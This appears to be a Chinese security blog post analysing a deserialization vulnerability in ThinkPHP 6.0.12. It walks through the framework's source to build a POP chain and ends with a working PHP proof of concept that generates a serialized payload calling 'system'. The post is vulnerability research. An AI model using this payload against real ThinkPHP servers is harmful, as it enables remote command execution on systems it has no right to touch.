微信公众号:渊龙Sec安全团队
为国之安全而奋斗,为信息安全而发声!
如有问题或建议,请在公众号后台留言
如果你觉得本文对你有帮助,欢迎在文章底部赞赏我们
本篇文章由团队成员0xEaS原创首发自FreeBuf社区
环境
-
ThinkPHP 6.0.12LTS(目前最新版本);
-
PHP 7.3.4;
安装
1composer create-project topthink/think tp6
测试代码
漏洞分析
漏洞起点不是__desturct
就是__wakeup
全局搜索下,起点在vendortopthinkthink-ormsrcModel.php
只要把this->lazySave
设为True,就会调用了save
方法。
跟进save
方法,漏洞方法是updateData
,但需要绕过①且让②为True,①调用isEmpty
方法
1public function save(array $data = [], string $sequence = null): bool
2 {
3 // 数据对象赋值
4 $this->setAttrs($data);
5 if ($this->isEmpty() || false === $this->trigger('BeforeWrite')) {
6 return false;
7 }
8 $result = $this->exists ? $this->updateData() : $this->insertData($sequence);
跟进isEmpty
方法,只要$this->data
不为空就行
$this->trigger
方法默认返回就不是false,跟进updateData
方法
漏洞方法是checkAllowFields
默认就会触发
1protected function updateData(): bool
2 {
3 // 事件回调
4 if (false === $this->trigger('BeforeUpdate')) {
5 return false;
6 }
7 $this->checkData();
8
9 // 获取有更新的数据
10 $data = $this->getChangedData();
11
12 if (empty($data)) {
13 // 关联更新
14 if (!empty($this->relationWrite)) {
15 $this->autoRelationUpdate();
16 }
17 return true;
18 }
19 if ($this->autoWriteTimestamp && $this->updateTime) {
20 // 自动写入更新时间
21 $data[$this->updateTime] = $this->autoWriteTimestamp();
22 $this->data[$this->updateTime] = $data[$this->updateTime];
23 }
24 // 检查允许字段
25 $allowFields = $this->checkAllowFields();
跟进checkAllowFields
方法,漏洞方法是db,默认也是会触发该方法,继续跟进
1protected function checkAllowFields(): array
2 {
3 // 检测字段
4 if (empty($this->field)) {
5 if (!empty($this->schema)) {
6 $this->field = array_keys(array_merge($this->schema, $this->jsonType));
7 } else {
8 $query = $this->db();
跟进db方法,存在$this->table . $this->suffix
字符串拼接,可以触发__toString
魔术方法,把$this->table
设为触发__toString
类即可
1public function db($scope = []): Query
2 {
3 /** @var Query $query */
4 $query = self::$db->connect($this->connection)
5 ->name($this->name . $this->suffix)
6 ->pk($this->pk);
7 if (!empty($this->table)) {
8 $query->table($this->table . $this->suffix);
9 }
全局搜索__toString
方法,最后选择vendortopthinkthink-ormsrcmodelconcernConversion.php
类中的__toString
方法
跟进__toString
方法,调用了toJson
方法
跟进toJson
方法,调用了toArray
方法,然后以JSON格式返回
跟进toArray
方法,漏洞方法是getAtrr
默认就会触发,只需把$data
设为数组就行
1public function toArray(): array
2 {
3 $item = [];
4 $hasVisible = false;
5
6 foreach ($this->visible as $key => $val) {
7 if (is_string($val)) {
8 if (strpos($val, '.')) {
9 [$relation, $name] = explode('.', $val);
10 $this->visible[$relation][] = $name;
11 } else {
12 $this->visible[$val] = true;
13 $hasVisible = true;
14 }
15 unset($this->visible[$key]);
16 }
17 }
18 foreach ($this->hidden as $key => $val) {
19 if (is_string($val)) {
20 if (strpos($val, '.')) {
21 [$relation, $name] = explode('.', $val);
22 $this->hidden[$relation][] = $name;
23 } else {
24 $this->hidden[$val] = true;
25 }
26 unset($this->hidden[$key]);
27 }
28 }
29
30 // 合并关联数据
31 $data = array_merge($this->data, $this->relation);
32
33 foreach ($data as $key => $val) {
34 if ($val instanceof Model || $val instanceof ModelCollection) {
35 // 关联模型对象
36 if (isset($this->visible[$key]) && is_array($this->visible[$key])) {
37 $val->visible($this->visible[$key]);
38 } elseif (isset($this->hidden[$key]) && is_array($this->hidden[$key])) {
39 $val->hidden($this->hidden[$key]);
40 }
41 // 关联模型对象
42 if (!isset($this->hidden[$key]) || true !== $this->hidden[$key]) {
43 $item[$key] = $val->toArray();
44 }
45 } elseif (isset($this->visible[$key])) {
46 $item[$key] = $this->getAttr($key);
47 } elseif (!isset($this->hidden[$key]) && !$hasVisible) {
48 $item[$key] = $this->getAttr($key);
跟进getAttr
方法,漏洞方法是getValue
,但传入getValue
方法中的$value
是由getData
方法得到的
1public function getAttr(string $name)
2 {
3 try {
4 $relation = false;
5 $value = $this->getData($name);
6 } catch (InvalidArgumentException $e) {
7 $relation = $this->isRelationAttr($name);
8 $value = null;
9 }
10
11 return $this->getValue($name, $value, $relation);
跟进getData
方法,$this->data
可控,$fieldName
来自getRealFieldName
方法
跟进getRealFieldName
方法,默认直接返回传入的参数。所以$fieldName
也可控,也就是传入getValue
的$value
参数可控
跟进getValue
方法,在Thinkphp6.0.8
触发的漏洞点在①处,但在Thinkphp6.0.12
时已经对传入的$closure
进行判断。
漏洞方法是getJsonValue
方法,但需满足两个if判断:
-
$this->withAttr
要可控 -
$this->json
要可控
即可顺利进入getJsonValue
方法
1protected function getValue(string $name, $value, $relation = false)
2 {
3 // 检测属性获取器
4 $fieldName = $this->getRealFieldName($name);
5
6 if (array_key_exists($fieldName, $this->get)) {
7 return $this->get[$fieldName];
8 }
9
10 $method = 'get' . Str::studly($name) . 'Attr';
11 if (isset($this->withAttr[$fieldName])) {
12 if ($relation) {
13 $value = $this->getRelationValue($relation);
14 }
15 if (in_array($fieldName, $this->json) && is_array($this->withAttr[$fieldName])) {
16 $value = $this->getJsonValue($fieldName, $value);
跟进getJsonValue
方法,触发漏洞的点在$closure($value[$key], $value)
,只要令$this->jsonAssoc
为True就行
$closure
和$value
都可控
1protected function getJsonValue($name, $value)
2 {
3 if (is_null($value)) {
4 return $value;
5 }
6
7 foreach ($this->withAttr[$name] as $key => $closure) {
8 if ($this->jsonAssoc) {
9 $value[$key] = $closure($value[$key], $value);
完整POP链条
Poc编写
1<?php
2namespace think{
3 abstract class Model{
4 private $lazySave = false;
5 private $data = [];
6 private $exists = false;
7 protected $table;
8 private $withAttr = [];
9 protected $json = [];
10 protected $jsonAssoc = false;
11 function __construct($obj = ''){
12 $this->lazySave = True;
13 $this->data = ['whoami' => ['dir']];
14 $this->exists = True;
15 $this->table = $obj;
16 $this->withAttr = ['whoami' => ['system']];
17 $this->json = ['whoami',['whoami']];
18 $this->jsonAssoc = True;
19 }
20 }
21}
22namespace thinkmodel{
23 use thinkModel;
24 class Pivot extends Model{
25 }
26}
27
28namespace{
29 echo(base64_encode(serialize(new thinkmodelPivot(new thinkmodelPivot()))));
30}
利用
我是0xEaS,我在渊龙Sec安全团队等你
微信公众号:渊龙Sec安全团队
欢迎关注我,一起学习,一起进步~
本篇文章为团队成员原创文章,请不要擅自盗取!
原文始发于微信公众号(渊龙Sec安全团队):ThinkPHP 6.0.12LTS 反序列漏洞分析
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论